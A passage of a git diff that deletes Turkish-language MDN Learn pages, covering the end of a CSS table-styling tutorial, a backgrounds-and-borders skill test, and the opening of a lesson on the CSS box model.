sağlandı(Her ne kadar dar ekranlarda genişliğin üzerinde biraz daha ek çalışmaya ihtiyaç duysa da)</li> - <li>{{cssxref("border-collapse")}} niteliğine <code>collapse</code> değeri atayarak tablonun sınır çizgisi tek çizgi olacak şekilde ayarlanıyor. Varsayılan olarak, tablo öğelerinde kenarlık ayarladığınızda, aşağıdaki resimde gösterildiği gibi, çizgilerin arasında boşuklar olacaktır: <img alt="" src="https://mdn.mozillademos.org/files/13068/no-border-collapse.png" style="display: block; margin: 0 auto;">Bu hoş bir görüntü oluşturmuyor(belgide istediğin bu görüntü olabilir, benimki bu değildi) <code>border-collapse: collapse;</code> bildirimi kenarlıkları teke indiriyor ve bu çok daha iyi görünüyor:</li> -</ul> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13066/border-collapse.png" style="display: block; margin: 0 auto;"></p> - -<ul> - <li>{{cssxref("border")}} niteliğimizle tablonun etrafına bir kenarlık koyduk, çünkü daha sonra tablo başlığının ve altbilginin etrafına bazı kenarlıklar koyacağız — etrafını çevreleyen bir sınır olmadığında gerçekten tuhaf ve kopu görünür.</li> -</ul> - -<p>Bu noktada, tablomuz biraz daha iyi görünür:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13070/table-with-spacing.png" style="display: block; margin: 0 auto;"></p> - -<h3 id="Basit_bir_tipografi">Basit bir tipografi</h3> - -<p>Şimdi metnimizi biraz şekillendirelim.</p> - -<p><a href="https://www.google.com/fonts">Google Fonts</a>'da punk gruplarına uygun bir yazı tipi bulduk. İstersen oraya gidip farklı bir tane bulabilirsin; bunun için {{htmlelement("link")}} etiketinin {{cssxref("font-family")}} beyanına Google Fonts'un verdiği tanımını eklemelisin.</p> - -<p>Öncelikle, aşağıdaki {{htmlelement("link")}} etiketini HTML başlığınıza, css dosya <code><link></code> tanımının hemen üstüne eklemelisin:</p> - -<pre class="brush: html notranslate"><link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'></pre> - -<p>Şimdi, aşağıdaki CSS'i <code>style.css</code> dosyasının önceki eklemenin altına eklemelisin:</p> - -<pre class="brush: css notranslate">/* typography */ - -html { - font-family: 'helvetica neue', helvetica, arial, sans-serif; -} - -thead th, tfoot th { - font-family: 'Rock Salt', cursive; -} - -th { - letter-spacing: 2px; -} - -td { - letter-spacing: 1px; -} - -tbody td { - text-align: center; -} - -tfoot th { - text-align: right; -}</pre> - -<p>Bu son tanımda tablolara özgü birşey yok; genelde yazı tipi stilini okumayı kolaylaştırmak için değiştiriyoruz.</p> - -<ul> - <li>Genel bir sans-serif yazı tipi kümesi belirledik; bu tamamen biçimsel bir seçimdir. Ayrıca hoş bir eski/serseri bir görünüm için özel yazı tipimizi {{htmlelement("thead")}} ve {{htmlelement("tfoot")}} etiketleri içindeki başlıklara tanımladım.</li> - <li>{{cssxref("letter-spacing")}} niteliğimizi okunabilirliliğe yardımcı olduğunu düşündüğüm için başlıklara ve hücrelere tanımladım. Bu da stilistik bir seçim.</li> - <li>Tablodaki {{htmlelement("tbody")}} etiketi içerisindeki hücrelerin içeriklerini, başlıklarla aynı hizaya gelecek şekilde ortaladım. Varsayılan olarak hücrelerin {{cssxref("text-align")}} nitelik değeri <code>left</code> olarak gelir. Ancak başlıkların varsayılan değerleri <code>center</code> olarak gelmektedir. Genellikle hizalamaların her ikisi için de aynı olması daha iyi görünür. Başlık yazı tiplerindeki varsayılan kalınlık görünümlerinin farklılaştırmak için yeterlidir. Bunun için ayrı bir tanım yapma ihtiyacımız bu örnek için bulunmamakta.</li> - <li>{{htmlelement("tfoot")}} etiketimizdeki veri hücresiyle başlığın daha iyi ilişkilendirilmesi için başlığı sağa hizaladım. Veri hücresi varsayılan olarak zaten sola dayalı.</li> -</ul> - -<p>Sonuç biraz daha düzgün görünüyor:</p> - - - -<p><img alt="" src="https://mdn.mozillademos.org/files/13072/table-with-typography.png" style="display: block; margin: 0 auto;"></p> - -<h3 id="Grafikler_ve_renler">Grafikler ve renler</h3> - -<p>Sıra grafikler ve renkler de! Tablomuz serseri bir tavırla dolu olduğu için, ona uyması için parlak, heybetli bir stil vermemiz gerekiyor. Endişelenmeyin, tablolarını bu kadar gürültülü yapmak zorunda değilsin — daha sade ve zevkli bir tasarım tercik edebilirsin.</p> - -<p>Aşağıdaki CSS'i <code>style.css</code> dosyanıza eklemelisin:</p> - -<pre class="brush: css notranslate">/* graphics and colors */ - -thead, tfoot { - background: url(leopardskin.jpg); - color: white; - text-shadow: 1px 1px 1px black; -} - -thead th, tfoot th, tfoot td { - background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); - border: 3px solid purple; -} -</pre> - -<p>Burada da tablolara özgü bir tanım yok, ancak birkaç noktayı not etmeye değer.</p> - -<p>{{htmlelement("thead")}} ve {{htmlelement("tfoot")}} özelerimize, {{cssxref("background-image")}} niteliği ile bir arka plan resmi ekledim, ayrıca okunabilirliliğin daha iyi olması için üst ve alt bilgi alanlarındaki tüm metinlerin rengini beyaz yapıp, {{cssxref("text-shadow")}} ile gölgelendirme verdim ({{cssxref("text-shadow")}}. Metninizin her zaman arka planla kontrastı iyi olduğundan emin olmalısınki okunabilsin.</p> - -<h4 id="Zebra_çizgisi">Zebra çizgisi</h4> - -<p><strong>Zebra çizgilerinin</strong> nasıl oluşturulup uygulanacağını göstermek için ayrı bir bölüm ayırmak istedim — tablonuzdaki farklı veri satırlarının ayrıştırılmasını ve okunmasını kolaylaştıran alternatif renk satırları. Aşağıdaki CSS'i <code>sytle.css</code> dosyasına eklemelisin:</p> - -<pre class="brush: css notranslate">/* zebra striping */ - -tbody tr:nth-child(odd) { - background-color: #ff33cc; -} - -tbody tr:nth-child(even) { - background-color: #e495e4; -} - -tbody tr { - background-image: url(noise.png); -} - -table { - background-color: #ff33cc; -}</pre> - -<ul> - <li>Daha önce, {{cssxref(":nth-child")}} seçicinin belirli alt öğeleri seçmek için kullanıldığını gördün. Parametre olarak bir formül de verilerek bir dizi öğe seçebilir. Formül <code>2n-1</code> ile tüm tek sayılı çocukları (1, 3, 5, vb), <code>2n</code> formülü ilede tüm çift sayılı çocukları (2, 4, 6, vb) seçer. Fakat kodumuzda <code>odd</code>(tek) ve <code>even</code>(çift) anahtar kelimelerini kullandık, yukarıda belirtilen formüllerle aynı işlemi yaparak, tek ve çift sıralara farklı renkler veriyoruz.</li> - <li>Ayrıca, tüm gövde sıralarına tekrar eden bir arka plan döşemesi ekledim, bu şekilde tablomuza yarı saydam bir doku kazandırmış oldum.</li> - <li>Son olarak, tüm tabloya düz bir arka plan rengi verdim ki <code>:nth-child</code> seçicisini desteklemeyen tarayıcılarda tablomuzun halen bir arka plan rengi olabilsin.</li> -</ul> - -<p>Bu renk cümbüşü aşağıdaki görünüme neden olur:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13074/table-with-color.png" style="display: block; margin: 0 auto;"></p> - -<p>Bu biraz abartılı gelebilir ve zevkine göre olmayabilir. Ama burada değinmeye çalıştığımız nokta, tabloların sıkıcı ve akademik olmak zorunda olmadığıdır.</p> - -<h3 id="Başlığın_stilini_ayarlamak">Başlığın stilini ayarlamak</h3> - -<p>Tablomuzda yapmamız gereken son bir şey daha var — başlık stili vermek. Bunu yapmak için aşağıdakileri <code>style.css</code> dosyasına eklemelisin.</p> - -<pre class="brush: css notranslate">/* caption */ - -caption { - font-family: 'Rock Salt', cursive; - padding: 20px; - font-style: italic; - caption-side: bottom; - color: #666; - text-align: right; - letter-spacing: 1px; -}</pre> - -<p>Burada <code>bottom</code> değeri verilen {{cssxref("caption-side")}} niteliği başlığın tablonun nesinde olacağını tanımlamamıza yardımcı olur. Bu bildirim, başlığın tablonun altına yerleştirilmesine neden olur ve bu da diğer bildirimlerle birlikte bize bu son görünümü verir(<a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a> görmek için bakın):</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13076/table-with-caption.png" style="display: block; height: 357px; margin: 0px auto; width: 723px;"></p> - -<h2 id="Tablo_şekillendirme_için_hızlı_ipuçları">Tablo şekillendirme için hızlı ipuçları</h2> - -<p>Devam etmeden önce, size yukarıda gösterilen en yarlı noktaların hızlı bir listesini vermem gerektiğini düşümdüm:</p> - -<ul> - <li>Tablo işaretlemeni olabildiğince basit hale getirmelisin; örneğin yüzdeleri kullanarak işleri esnek tutmalısın, böylece tasarımın daha duyarlı olsun.</li> - <li>{{cssxref("table-layout")}}<code>: fixed;</code> bildirimini kullanarak sütun genişliklerini({{cssxref("width")}}) başlıklarının({{htmlelement("th")}}) genişliğine ayarlanmasını sağlayarak daha tahmin edilebilir bir tablo düzeni oluşturabilirsin.</li> - <li>{{cssxref("border-collapse")}}<code>: collapse;</code> kullanarak daha sāde kenarlıklar eklemelisin.</li> - <li>{{htmlelement("thead")}}, {{htmlelement("tbody")}}, ve {{htmlelement("tfoot")}} etiketlerini kullanarak ve böylece mantıksal alanlara bölerek oluşturduğun tablo üzerinde daha fazla CSS uygulamak için imkan sağlamış olursun.</li> - <li>Satırların birbirinden ayrılıp daha rahat okunabilemesi için zebra çizgisini kullanın.</li> - <li>{{htmlelement("th")}} and {{htmlelement("td")}} öğelerinde takip etmeyi kolaylaştırmak için {{cssxref("text-align")}} niteliğini kullanmaktan çekinmemelisin.</li> -</ul> - -<h2 id="Becerilerini_test_et!">Becerilerini test et!</h2> - -<p>Bu derste birçok konuyu ele aldık, ancak en önemli bilgileri hatırlıyor musun? Devam etmeden önce bu bilgileri öğrendiğini doğrulamak için bazı testler hazırladım. — bkz. <a href="/en-US/docs/Learn/CSS/Building_blocks/Tables_tasks">Becerilerini test et: Tablolar</a>.</p> - -<h2 id="Sıradaki">Sıradaki</h2> - -<p>Artık tabloları şekillendirmeyi de öğrenmişken, zamanımızı işga ledecek başka bir şeye ihtiyacımız var. Sonraki dersimizde, CSS'de hata ayıtlamayı araştırıyor olacağız — olması gerektiği gibi görünmeyen düzenler veya olması gerektiğini düşündüğünüzde uygulanmayan özellikler gibi sorunların nasıl çözüleceği. Bu, sorunlarınıza çözüm bulmak için tarayıcı DevTools'u kullanma hakkındaki bilgileri içerir.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'inizi düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/test_your_skills_backgrounds_and_borders/index.html b/files/tr/learn/css/building_blocks/test_your_skills_backgrounds_and_borders/index.html deleted file mode 100644 index 94fca5a5ce..0000000000 --- a/files/tr/learn/css/building_blocks/test_your_skills_backgrounds_and_borders/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: 'Becerilerinizi test edin: Arka Planlar ve Kenarlıklar' -slug: Learn/CSS/Building_blocks/Test_your_skills_backgrounds_and_borders -tags: - - Arka Plan - - Assessment - - Başlangıç - - Beginner - - Değerlendirme - - Eğitim - - Kenarlık - - Learn - - Skill test - - backgrounds - - beceri testi - - borders -translation_of: Learn/CSS/Building_blocks/Test_your_skills_backgrounds_and_borders -original_slug: Öğren/CSS/CSS_yapi_taslari/Test_your_skills_backgrounds_and_borders ---- -<p>Bu beceri testinin amacı, önceki derste öğrendiğiniz becerileri kullanarak, CSS arka planları ve kenarlıklar üzerinde çalışmanızı sağlamaktır.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Aşağıdaki etkileşimli düzenleyicilerde çözümleri deneyebilirsiniz, ancak kodu indirip ve görevler üzerinde çalışmak için <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi bir araç kullanılması yararlı olabilir.</p> - -<p>Sıkışırsanız, bizden yardım isteyin — bu sayfanın altındaki {{anch("Değerlendirme ve daha fazla yardım")}} bölümüne bakın.</p> -</div> - -<h2 id="Arka_Planlar_ve_Kenarlıklar_1">Arka Planlar ve Kenarlıklar 1</h2> - -<p>Bu görevde, sayfa başlığına bir arka plan, kenarlık ve bazı basit stil eklemenizi istiyoruz:</p> - -<ol> - <li>Kutuya 10 piksellik yuvarlatılmış köşeleri olan 5 piksellik siyah düz bir kenarlık verin.</li> - <li>Bir arka plan resmi ekleyin (<code>balloons.jpg</code>'yi kullanın) ve kutuyu kaplayacak şekillde boyutlandırın.</li> - <li><code><h2></code> yarı saydam bir siyah arka plan rengi verin ve metni beyaz yapın.</li> -</ol> - -<p>Bitmiş örnek aşağıdaki gibi görünmelidir.</p> - -<p><img alt="Images shows a box with a photograph background, rounded border and white text on a semi-transparent black background." src="https://mdn.mozillademos.org/files/16946/backgrounds-task1.png" style="height: 236px; width: 911px;"></p> - -<p>Birmiş örneği yeniden oluşturmak için aşağıdaki canlı kodu düzenleyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/backgrounds/backgrounds1.html", '100%', 700)}}</p> - -<div class="blockIndicator note"> -<p>Kendi düzenleyicinizde veya çevrimiçi bir düzenleyicide çalışmak için bu görevin <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/backgrounds/backgrounds1-download.html">kaynak kodunu</a> indirin.</p> -</div> - -<h2 id="Arka_Planlar_ve_Kenarlıklar_2">Arka Planlar ve Kenarlıklar 2</h2> - -<p>Bu görevde, dekoratif bir kutuya arka plan resimleri, kenarlık ve diğer bazı stilleri eklemenizi istiyoruz:</p> - -<ul> - <li>Kutuya 5 piksellik açık mavi bir kenarlık verin ve sol üst köşesyi 20 piksel ve sağ alt köşeyi 40 piksel yuvarlayın.</li> - <li>Arka plan resmi olarak, solda ortalanmış bir yıldız, sağda tekrar eden bir yıldız deseni oluşturun. Resim olarak <code>star.png</code> kullanın.</li> - <li>Başlık metninin resmin üzerine gelmediğinden ve ortalanmış olduğundan emin olun — bunları yapabilmek için önceki derslerde kullandığınız teknikleri kullanmanız gerekecektir.</li> -</ul> - -<p>İşin sonunda örneğiniz aşağıdaki resimdeki gibi gözükmelidir:</p> - -<p><img alt="Images shows a box with a blue border rounded at the top left and bottom right corners. On the left of the text is a single star, on the right 3 stars." src="https://mdn.mozillademos.org/files/16947/backgrounds-task2.png" style="height: 300px; width: 534px;"></p> - -<p>Örneğinizi oluşturabilimeniz için aşağıdaki canlı kodu düzenleyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/backgrounds/backgrounds2.html", '100%', 700)}}</p> - -<div class="blockIndicator note"> -<p>Kendi düzenleyicinizde veya çevrimiçi bir düzenleyicide çalışmak için bu görevin<a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/backgrounds/backgrounds2-download.html"> Kaynak kodunu </a>indirin.</p> -</div> - -<h2 id="Değerlendirme_veya_daha_fazla_yardım">Değerlendirme veya daha fazla yardım</h2> - -<p>Bu örnekleri yukarıda bahsedilen Etkileşimli Editörlerde deneyebilirsiniz.</p> - -<p>Çalışmanizin değerlendirilmesini istiyorsanız veya bir noktada takılıp kaldıysanız ve yardım istemek istiyorsanız:</p> - -<ol> - <li>Çalışmanızı <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi paylaşılabilir bir düzenleyiciye kaydedin. Kodu kendiniz yazabilir veya yukarıdaki bölümlerde bağlantı verilen kaynak kodları kullanabilirsiniz.</li> - <li>Bize <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a> değerlendirme ve/veya yardım isteyen bir gönderi yazın. Gönderinizde bulunması gerekenler: - <ul> - <li>"Flexbox düzen 1 beceri testi için istenen değerlendirme" gibi açıklayıcı bir başlık.</li> - <li>Halihazırda denediklerinizin ve bizden ne yapmamızı istediğinizle ilgili ayrıntılar.</li> - <li>Değerlendirilmek istediğiniz veya yardıma ihtiyaç duyduğunuz kodun çevrimiçi paylaşılabilir düzenleyicide bağlantısı. Göremediğimiz bir kod üzerinde değerlendirme ve/veya yardımda bulunamayız.</li> - <li>Yardım almak istediğiniz soruyu bulabilmemiz için asıl görev veya değerlendirme sayfasına bir bağlantı.</li> - </ul> - </li> -</ol> diff --git a/files/tr/learn/css/building_blocks/the_box_model/index.html b/files/tr/learn/css/building_blocks/the_box_model/index.html deleted file mode 100644 index 38ac0e3b37..0000000000 --- a/files/tr/learn/css/building_blocks/the_box_model/index.html +++ /dev/null @@ -1,368 +0,0 @@ ---- -title: Kutu Modeli -slug: Learn/CSS/Building_blocks/The_box_model -tags: - - Başlangıç - - Beginner - - CSS - - Dolgu - - Eğitim - - Gorüntü - - Kenar payı - - Kutu Modeli - - Learn - - Sınır - - border - - box model - - display - - margin - - padding -translation_of: Learn/CSS/Building_blocks/The_box_model -original_slug: Öğren/CSS/CSS_yapi_taslari/The_box_model ---- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</div> - -<p>CSS'deki her nesnenin etrafında bir kutu vardır ve kutuları anlamak, CSS ile mizanpajlar oluşturabilmenin veya öğeleri diğer öğelerle hizalamanın anahtarıdır. Bu derste, <em>CSS Kutu Modeline</em> giriş yapacağız, böylece nasıl çalıştığı ve bununla ilgili terminolojiyi anlayarak daha karmaşık düzen görevleri oluşturabilirsin.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS Kutu Modeli hakkında bilgi edinmek için, kutu modelini oluşturan unsurlar ve alternatif model geçileceği ile ilgili bilgi sahibi olmak.</td> - </tr> - </tbody> -</table> - -<h2 id="Blok_ve_satır_içi_kutular">Blok ve satır içi kutular</h2> - -<p>CSS'de genel olarak iki tür kutuya sahibiz — <strong>blok kutular</strong> ve <strong>satır içi kurular</strong>. Bu ayrım kutunun sayfa akışı açısından ve sayfadaki diğer kutularla ilişkili olarak nasıl davranacağını ifade etmek için yapılır.</p> - -<p>Bir kutunun türü blok(<code>block</code>) olarak tanımlanmışsa, aşağıdaki şekilde davranacaktır:</p> - -<ul> - <li>Kutu yeni bir satıra geçer.</li> - <li>Kutu, içinde bulunduğu satırın genişliği kadar uzar. Bu kutunun satırdaki mevcut alanın %100'ünü dolduracağı anlamına gelir.</li> - <li>{{cssxref("width")}} ve {{cssxref("height")}} özellikleri geçerli olacaktır.</li> - <li>Dolgu (<code>padding</code>), kenar boşluğu (<code>margin</code>) ve kenarlık (<code>border</code>) diğer öğelerin kutudan uzağa itilmesine neden olur. Kendisinden sonraki öğelerin konumları etkilenir, önceki öğelere göre kendi konumunu belirler.</li> -</ul> - -<p>Görüntü türünü satır içi olarak değiştirmez isek, başlıklar ve paragraflar varsayılan görüntüleme türü blok(<code>block</code>) olan öğelere örnektir.</p> - -<p>Eğer kutunun görüntüleme türü satır içi(<code>inline</code>) olacak şekilde tanımlanmışsa:</p> - -<ul> - <li>Kutu yeni bir satıra geçmeyecektir.</li> - <li>{{cssxref("width")}} ve {{cssxref("height")}} özellikleri geçerli olmayacaktır.</li> - <li>Dikey yöndeki; dolgu, kenar boşlukları ve kenarlıklar uygulanacak ve diğer kutuların kutudan uzaklaşmasına neden <strong><u>olmayacaktır</u></strong>.</li> - <li>Yatay yöndeki, dolgu, kenar boşlukları ve kenarlıkları uygulanacak ve diğer satır içi kutuların kutudan uzaklaşmasına neden <strong><u>olacaktır</u></strong>.</li> -</ul> - -<p>Bağlantılar için kullanılan <code><a></code> öğesi, <code><span></code>, <code><em></code> ve <code><strong></code> varsayılan tür olarak satır içi(<code>inline</code>) görüntülenecek öğelere örnektir.</p> - -<p>Bir öğenin kutu türünü tanımlayabilmek için {{cssxref("display")}} niteliğine <code>block</code> ve <code>inline</code> değerleri kullanılır.</p> - -<h2 id="Ayrıca_İç_ve_dış_görüntüleme_türleri">Ayrıca: İç ve dış görüntüleme türleri</h2> - -<p>Bu noktada <strong>iç</strong> ve <strong>dış</strong> gösterim türlerini de açıklamamız yerinde olur. Yukarıda belirtildiği gibi, CSS'deki kutular, kutunun blok mu satır içi mi olduğunu ayrıntılarıyla anlatan bir <em>dış</em> gösterim türüne sahiptir.</p> - -<p>Kutular ayrıca, bu kutunun içindeki öğeleri nasıl yerleştirileceğini belirleyen bir <em>iç</em> gösterim türünede sahiptir. Varsayılan olarak, bir kutunun içindeki öğeler <strong><a href="/tr/docs/Learn/CSS/CSS_layout/Normal_Flow">normal aşkışta</a></strong> düzenlenir, bu da diğer tüm öğelerin blok ve satır içi öğeler gibi davrandıkları anlamına gelir (yukarıda açıklandığı gibi).</p> - -<p>Bu özellikler sayesinde, bir öğenin <code>display</code> niteliğine <code>flex</code> değerini tanımlayarak iç ekran türünü değiştirebiliriz. Öğeyi <code>display: flex</code> şeklinde tanımlarsak, öğenin dış görünümü <code>block</code> olur, fakat öğenin içindeki diğer öğelerin görüntüleme türü <code>flex</code> olarak değişir. Böylece bu tanım, kutunun alt öğelerini esnek öğeler haline getirir ve iç öğeler daha sonra ele alacağımız <a href="/tr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> özelliklerinde belirtilen kurallara göre düzenlenir.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Görüntüleme değerleri ve kutuların blok ve satır içi düzende nasıl çalıştığı hakkında daha fazla bilgi edinmek için, MDN kılavuzundaki <a href="/tr/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Blok ve Satır İçi Düzen'e</a> bir göz at.</p> -</div> - -<p>CSS Mizanpajı hakkında daha ayrıntılı bilgi edinmeye devam ettiğinde, <code>flex</code>'siyi ve kutularının sahip olabileceği çeşitli değerlerle karşılaşaksınn. Örneğin <code><a href="/tr/docs/Learn/CSS/CSS_layout/Grids">grid</a></code>.</p> - -<p>Blok ve satır için görüntülüme türleri, HTML'deki öğelerin varsayılan davranış şeklidir — yukarıda da dillendirdiğimiz gibi <em>normal akış</em> olarak anılır, çünkü başka bir talimat olmadan, kutularımız varsayılan blok veya satır içi değerlerine göre düzenlenirler.</p> - -<h2 id="Farklı_görüntüleme_türlerine_örnekler">Farklı görüntüleme türlerine örnekler</h2> - -<p>Konumuza devam edelim ve bazı örneklere bir göz atalım. Aşağıda, hepsinin dış görüntüleme türü <code>block</code> olan öğenelerimiz var. İlki CSS'le eklenmiş bir kenarlığa sahip olan paragraftır. Tarayıcı bunu bir blok kutu olarak işler, böylece paragraf yeni bir satırda başlar ve mevcut tüm genişliğe sahip olur.</p> - -<p>İkincisi, görüntüleme türü olarak <code>display: flex</code> tanımlanmış bir listemiz var. Bu, <code>ul</code> etiketi içindeki öğeler için esnek bir düzen oluşturur, ancak listenin kendisi bir blok kutudur ve blok kutu gibi davranır — paragraf gibi. Yeni bir satırda başlar ve satırın sahip olduğu genişliğe kadar genişler.</p> - -<p>Bununda altında, içinde iki adet <code><span></code> öğe bulunan blok türünde bir paragrafımız var. Ancak bu iki öğe normalde <code>inline</code> türüne sahipler, içlerinden bir tanesini <code>.block</code> sınıfına dahil edip görüntü türünü <code>display: block</code> olarak tanımlıyoruz ve <code>inline</code> türüne sahip bir öğe <code>block</code> türüne sahip bir öğe gibi davranmaya başlıyor.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1000)}} </p> - -<p>Bir sonraki örnekte, <code>inline</code> görüntüleme türüne sahip öğelerin nasıl davrandığını görebilirsin. ilk paragrafın içindeki <code><span></code> öğeleri varsayılan olarak satır içi görüntüleme türüne sahip oldukları için bir önceki örnekte olduğu gibi yeni bir satır için tasarımı zorlamaz.</p> - -<p>Bir de <code><ul></code> öğemiz var. Bu öğemisin görüntüleme türünü <code>display:inline-flex</code> tanımı ile; öğemizin içindeki öğelere esnek bir tasarım ve kendisine de satır içi kutu gibi davranmasını söylemiş oluruz.</p> - -<p>Son olarak, iki adet paragrafımız var. Bu paragraflarımızın görüntüleme türünü <code>display: inline</code> olarak tanımladığımızda, sahip oldukları varsıyalan tür olan blok kutu gibi değil de satır içi kutu gibi davranmaya başlarlar ve aşağıdaki örnekte de görüldüğü gibi iki paragrafımız normal davranışları olan yeni bir satırdan başlamak yerine aynı satırda diğer öğelerle birlikte görüntülenmeye başlarlar.</p> - -<p><strong>Değiştirin! sizde farklılıkları daha iyi görebilmek için <code>display: inline</code></strong> <strong>tanımı</strong><strong>nı <code>display: block</code> ve <code>display: inline-flex</code> tanımını da <code>display: flex</code> olarak değiştirin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}} </p> - -<p>İlerleyen derslerde esnek düzen gibi kavramlarla karşılaşacaksın; şimdilik hatırlanması gereken en önemli şey, <code>display</code> niteliğinin değerinin değiştirilmesi, bir kutunun dış görüntüleme türünün blok mu yoksa satır içi mi olduğunu belirlediğini ve bunun da mizanpajdaki diğer öğelerle birlikte nasıl görüntüleneceğini tanımlamasıdır.</p> - -<p>Dersin geri kalanında, dış ekran türüne odaklanacağız.</p> - -<h2 id="CSS_kutu_modeli_nedir">CSS kutu modeli nedir?</h2> - -<p>CSS kutu modelleri tanımlarının tümü sadece blok kutular için geçerlidir. Satır içi kutular kutu modelinde tanımlanan davranışların bir kısmını kullanır. Model, bir kutunun farklı bölümlerinin (Kenar boşluğu, kenarlık, dolgu ve içerik) kutuyu oluştururken birlikte nasıl çalıştırklarını tanımlar. Biraz daha karmaşıklık ekleyecek ama bir standart, birde alternatif olmak üzere iki adet kutu modeli vardır.</p> - -<h3 id="Bir_kutunun_parçaları">Bir kutunun parçaları</h3> - -<p>Bir blok kutu oluşturabilmek için, CSS'in bize verdikleri:</p> - -<ul> - <li><strong>İçerik(<em>Content</em>)</strong>: İçeriğin görüntülendiği alandır. {{cssxref("width")}} ve {{cssxref("height")}} gibi nitelikler kullanılarak boyutlandırılabilir.</li> - <li><strong>Dolgu(<em>Padding</em>)</strong>: İçeriği saran bir boşluktur. boyutu {{cssxref("padding")}} ve ilişkili niteliklerle belirlenir.</li> - <li><strong>Kenarlık(<em>Border</em>)</strong>: İçeriği ve dolguyu sarar. Boyutu ve stili {{cssxref("border")}} ve ilişkili niteliklerle belirlenir.</li> - <li><strong>Kenar boşluğu(<em>Margin</em>)</strong>: İçeriği, dolguyu ve kenarlığı saran, ayrıca diğer öğeler ile arasına mesafe koyan en dış katmandır. {{cssxref("margin")}} ve ilişkili niteliklerle belirlenir.</li> -</ul> - -<p>Aşağıdaki şema bu katmanları göstermektedir:</p> - -<p><img alt="Diagram of the box model" src="https://mdn.mozillademos.org/files/16558/box-model.png" style="height: 300px; width: 544px;"></p> - -<h3 id="Standart_CSS_kutu_modeli">Standart CSS kutu modeli</h3> - -<p>Standart kutu modelinde, bir kutuya <code>width</code> ve <code>height</code> niteliklerine değer verirsen, bu <u><em>içeriğin</em></u> genişliğini ve yüksekliğini tanımlar. Kutunun kapladığı toplam boyutu elde etmek için daha sonra bu genişliğe ve yüksekliğe, eğer varsa dolgu ve kenarlık eklenir. Hesaplama aşağıda gösterilmiştir.</p> - -<p>Aşağıda bir kutunun modelini tanımlayan 